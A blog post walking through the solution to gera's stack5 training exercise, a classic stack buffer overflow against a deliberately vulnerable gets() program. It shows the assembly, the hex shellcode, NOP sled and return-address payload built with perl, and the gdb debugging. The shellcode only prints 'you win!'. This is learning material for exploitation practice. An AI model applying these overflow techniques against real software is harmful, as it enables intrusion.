Tuesday, June 8, 2010

WARMING UP on STACK: stack5.c


/* stack5.c *
* specially crafted to feed your brain by gera */

int main() {
int cookie;
char buf[80];

printf("buf: %08x cookie: %08x\n", &buf, &cookie);
gets(buf);

if (cookie == 0x000a0d00)
printf("you lose!\n");
}


You have to provide and print your own "you win!" string in stack5. This is your classic buffer overflow exploit: control the saved return address and point it at your provided code.

Start by creating half a buffers worth of NOPs (0x90):


$ perl -e 'print "\x90" x 54;' > nops


I'm still "faking it till I make it" with ASM, so I pieced together the shellcode from various sources. I couldn't get Aleph1's call/jmp method to work--wasn't able to get the offsets right. Next, I stumbled on Charles Stevenson's writehello-core.c shellcode and modified it to meet my needs (Charles code is really understandable).

Here's the rough outline of the ASM:

xor ecx, ecx            ; clear ecx
mul ecx                 ; not sure what this is for
push ecx                ; push NULL onto stack
push 0x216e6977         ; push win! in reverse on stack
push 0x20756f79         ; push you  in reverse on stack
mov dl, 0x8             ; len of string in low order edx
inc ebx                 ; fd, 1 == stdout
mov ecx,esp             ; stack pointer points to "you win!\0", move to ecx
mov al, 0x4             ; syscall, 4 == sys_write in low order eax
int 0x80

xor eax, eax            ; return 0
mov al, 0x01            ; syscall, 1 == exit
int 0x80


Using objdump, scratch __asm__() programs, and gdb's x/#bx command the ASM is transformed into hex (I'm deferring to Greyhat Hacking, Aleph1 and all the other buffer overflow papers out there for an explanation on how to convert the ASM into hex):


$ perl -e 'print "\x31\xdb\xf7\xe3\x53\x68\x77\x69\x6e\x21\x68\x79\x6f\x75\x20\xb2\x08\x43\x89\xe1\xb0\x04\xcd\x80\x31\xc0\xb0\x01\xcd\x80";' > sc3


Tracking down a return address took some guessing/debugging with gdb. Started off with a bunch of A's:


$ perl -e 'print "A"x108' > of2


I set a breakpoint after we overflow buf and take a look at it:

$ gdb -q stack5
Using host libthread_db library "/lib/tls/libthread_db.so.1".
(gdb) b 11
Breakpoint 1 at 0x8048417: file stack5.c, line 11.
(gdb) run < of2
Starting program: /home/dennis/gera/stack5/stack5 < of2
buf: bffff4c0 cookie: bffff51c

Breakpoint 1, main () at stack5.c:11
11              if (cookie == 0x000a0d00)
(gdb) x/10x buf
0xbffff4c0:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff4d0:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff4e0:     0x41414141      0x41414141
(gdb) 


0xbffff4e0 looks like a good place to start:


$ perl -e 'print "\xe0\xf4\xff\xbf" x 7;' > ret


7 comes from the following math problem:

112 bytes overwrites the saved return address.

112 - 54 (number of nops) - 30 (size of shellcode in bytes) = 28

28 / 4 (address take up 4 bytes) = 7

Let's put it all together:


$ cat nops > of
$ cat sc3 >> of
$ cat ret >> of

$ stack5 < of
buf: bffff4b0 cookie: bffff50c
you win!$

No comments:

Post a Comment